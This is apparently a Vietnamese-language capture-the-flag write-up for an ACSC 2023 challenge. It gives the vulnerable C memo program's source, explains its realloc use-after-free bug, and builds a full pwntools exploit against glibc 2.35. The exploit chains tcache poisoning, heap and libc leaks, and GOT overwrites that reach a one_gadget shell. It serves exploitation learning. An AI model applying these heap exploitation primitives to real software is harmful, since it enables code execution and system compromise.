Writeup RE ACSC 2023

Challenge

Source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
static int getnline(char *buf, int size);
static int getint(void);
static void edit(void);

struct Memo {
size_t size;
char* buf;
} mlist[10];

__attribute__((constructor))
static int init(){
alarm(30);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
return 0;
}

int main(void){
for(;;){
printf("\nMENU\n"
"1. Edit\n"
"2. List\n"
"0. Exit\n"
"> ");

switch(getint()){
case 0:
goto end;
case 1:
edit();
break;
case 2:
for(int i=0; i<sizeof(mlist)/sizeof(struct Memo); i++)
if(mlist[i].size > 0 && mlist[i].buf)
printf("[%d] %.*s\n", i, (int)mlist[i].size, mlist[i].buf);
break;
}
}

end:
puts("Bye.");
return 0;
}

static void edit(void){
unsigned idx, size;

printf("Index: ");
if((idx = getint()) >= sizeof(mlist)/sizeof(struct Memo)){
puts("Out of list");
return;
}

printf("Size: ");
if((size = getint()) > 0x78){
puts("Too big memo");
return;
}

char *p = realloc(mlist[idx].buf, size);
if(size > mlist[idx].size)
mlist[idx].buf = p;
mlist[idx].size = size;

printf("Memo: ");
getnline(mlist[idx].buf, size);

puts("Done");
}

static int getnline(char *buf, int size){
int len;

if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0)
return -1;

if(buf[len-1]=='\n')
len--;
buf[len] = '\0';

return len;
}

static int getint(void){
char buf[0x10] = {};

getnline(buf, sizeof(buf));
return atoi(buf);
}

Hàm edit dùng hàm realloc để cấp phát động.

Trích đoạn từ malloc(3) — Linux manual page :

1
2
3
4
5
6
7
8
9
10
11
The realloc() function changes the size of the memory block
pointed to by ptr to size bytes. The contents will be unchanged
in the range from the start of the region up to the minimum of
the old and new sizes. If the new size is larger than the old
size, the added memory will not be initialized. If ptr is NULL,
then the call is equivalent to malloc(size), for all values of
size; if size is equal to zero, and ptr is not NULL, then the
call is equivalent to free(ptr) (this behavior is nonportable;
see NOTES). Unless ptr is NULL, it must have been returned by an
earlier call to malloc(), calloc(), or realloc(). If the area
pointed to was moved, a free(ptr) is done.

Tóm gọn lại ta có :

1
2
3
realloc(NULL,size) -> malloc(size)
realloc(p,0) -> free(p)
realloc(p,old_size) # nothing

Hàm edit không check size của user nhập vào. Không clear pointer khi size=0 -> tạo overlapping chunk -> use after freedouble free bug.

Gọi realloc(mlist[0],0x78) -> realloc(mlist[0],0) -> realloc(mlist[1],0x78) ta được 2 pointer mlist[0]mlist[1] overlap.

1
2
3
4
5
6
7
8
9
10
11
12
def Edit(idx: int,size: int,memo: bytes,sendline=True):
p.sendlineafter(b">",b"1")
p.sendlineafter(b"Index:",f"{idx}".encode())
p.sendlineafter(b"Size:",f"{size}".encode())
if size>1:
p.sendafter(b"Memo:",memo)
sleep(0.5)
def List():
p.sendlineafter(b">",b"2")
Edit(0,0x78,b"A"*8)
Edit(0,0,0)
Edit(1,0x78,b"A"*8)

Gọi lại realloc(mlist[0],0) ta được mlist[0]mlist[1] đều cùng trỏ vào tcachebins[0x80][0].
List để in mlist[1] ra ta leak được heap.

1
2
3
4
5
6
List()
p.recvuntil(b"[1] ")
first_chunk=int(p.recv(5)[::-1].hex(),16)
first_chunk = (first_chunk << 12) +0x290
log.info(f"{hex(first_chunk)}")
tcache_perthread_struct=first_chunk-0x290

Ghi đè mlist[0].fd trỏ vào tcache_perthread_struct* tcache chunk, ta control được counts và entries.

1
2
3
4
Edit(1,0x78,p64(0)*2)
Edit(0,0,0)
Edit(1,0x78,p64(((first_chunk+0x10) >> 12 ) ^ (tcache_perthread_struct+0x10))+p64(0))
Edit(2,0x78,b"A"*8)

tcache chunk có size là 0x290, ghi đè count của tcachebins[0x290] thành 7 -> realloc(tcache,0x78) ta được unsorted bin.

1
2
Edit(3,0x78,p16(7)*58) #pop mlist[3] ra khỏi tcachebin[0x290]
Edit(3,0x78,p16(0)*6+p16(7)) # realloc(tcache,0x78)

Giờ mình gọi realloc(mlist[4],0x68) để control entries bằng mlist[4] -> ghi đè tcachesbin[0x80] entry thành tcache+0x160 -> gọi realloc(mlist[5],0x78)
từ đó mlist[5] trỏ vào tcache+0x160.

1
2
Edit(4,0x68,p64(0)*6+p64(tcache_perthread_struct+0x160))
Edit(5,0x78,b"X")

Ta thấy giờ mlist[5] cách unsortedbin 0x60, nếu ta gọi malloc(0x58) ra thì khi đó unsortedbinmlist[5] overlap -> in mlist[5] ra ta leak được libc.

1
2
3
4
Edit(6,0x58,b"Khongduocthicut")
List()
p.recvuntil(b"[5] ")
libc.address=int(p.recv(6)[::-1].hex(),16)-0x219ce0

Đề bài cho libc 2.35, ta không thể ghi đè one-gadget vào __malloc_hook,__calloc_hook,__realloc_hook hay __free_hook để chiếm shell.

Đầu tiên mình nghĩ đến việc ghi đè one_gadget vào got của libc. Dễ thấy nhất là hàm puts.

1
2
3
4
puts_abs_got=libc.address+0x219098
Edit(3,0x78,p16(0)*6+p16(7))
Edit(4,0x68,p64(0)*6+p64(puts_abs_got-8))
Edit(7,0x78,p64(8)+p64(libc.address+0xebcf8))

Note: halfbyte đầu của một địa chỉ tcachebin phải là 0

Vấn đề là lúc này khi mình check thực sự các thanh ghi không thảo mãn one_gadget nào.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
rbp == NULL || (u16)[rbp] == NULL

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

Tuy nhiên mình thấy có quy luật là $rsi là địa chỉ trỏ vào heap chunk, $rdx là số byte vừa ghi đè được lên heap chunk, $rax và $rdi là con trỏ tới “Done”.

Sau 3347 lần đi đọc opcode trên libc mình thấy tại realloc+1153 có opcode làm cho thanh $rdx bằng 0 và gọi thêm một hàm plt ra.

Vì vậy cuối cùng mình quyết định ghi đè got mà puts gọi tớirealloc+1153 còn got mà realloc gọi sẽ là one_gadget

1
2
3
4
5
6
Edit(3,0x78,p16(0)*6+p16(7))
Edit(4,0x68,p64(0)*6+p64(realloc_abs_got))
Edit(7,0x78,p64(libc.address+0xebcf8))

Edit(4,0x68,p64(0)*6+p64(puts_abs_got-8))
Edit(8,0x78,p64(0)+p64(libc.sym.realloc+1153))

Check lại các tham số đã thoả mãn one_gadget.

Final script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.binary=e=ELF("./chall")
libc=e.libc
gs="""
b *__run_exit_handlers+211
b *calloc+678
b __GI___libc_reallocarray
b *realloc+1153
"""
if args.DEBUG:
context.log_level='debug'
if args.LOCAL:
p=e.process()
if args.GDB:
gdb.attach(p,gdbscript=gs)
pause()
elif args.REMOTE:
p=remote(args.HOST,int(args.PORT))
def Edit(idx: int,size: int,memo: bytes,sendline=True):
p.sendlineafter(b">",b"1")
p.sendlineafter(b"Index:",f"{idx}".encode())
p.sendlineafter(b"Size:",f"{size}".encode())
if size>1:
p.sendafter(b"Memo:",memo)
sleep(0.5)
def List():
p.sendlineafter(b">",b"2")
Edit(0,0x78,b"A"*8)
Edit(0,0,0)
Edit(1,0x78,b"A"*8)
Edit(0,0,0)
List()
p.recvuntil(b"[1] ")
first_chunk=int(p.recv(5)[::-1].hex(),16)
first_chunk = (first_chunk << 12) +0x290
log.info(f"{hex(first_chunk)}")
tcache_perthread_struct=first_chunk-0x290
Edit(1,0x78,p64(0)*2)
Edit(0,0,0)
Edit(1,0x78,p64(((first_chunk+0x10) >> 12 ) ^ (tcache_perthread_struct+0x10))+p64(0))
Edit(2,0x78,b"A"*8)
Edit(3,0x78,p16(7)*58)
Edit(3,0x78,p16(0)*6+p16(7))
Edit(4,0x68,p64(0)*6+p64(tcache_perthread_struct+0x160))
Edit(5,0x78,b"X")
Edit(6,0x58,b"Khongduocthicut")
List()
p.recvuntil(b"[5] ")
libc.address=int(p.recv(6)[::-1].hex(),16)-0x219ce0
puts_abs_got=libc.address+0x219098
realloc_abs_got=libc.address+0x219160
log.info(f"libc @ {hex(libc.address)}")
Edit(3,0x78,p16(0)*6+p16(7))
Edit(4,0x68,p64(0)*6+p64(realloc_abs_got))
Edit(7,0x78,p64(libc.address+0xebcf8))

Edit(4,0x68,p64(0)*6+p64(puts_abs_got-8))
Edit(8,0x78,p64(0)+p64(libc.sym.realloc+1153))

p.sendline(b"cat flag*")
p.interactive()

Flag : ACSC{r34ll0c_15_n07_ju57_r34ll0c473}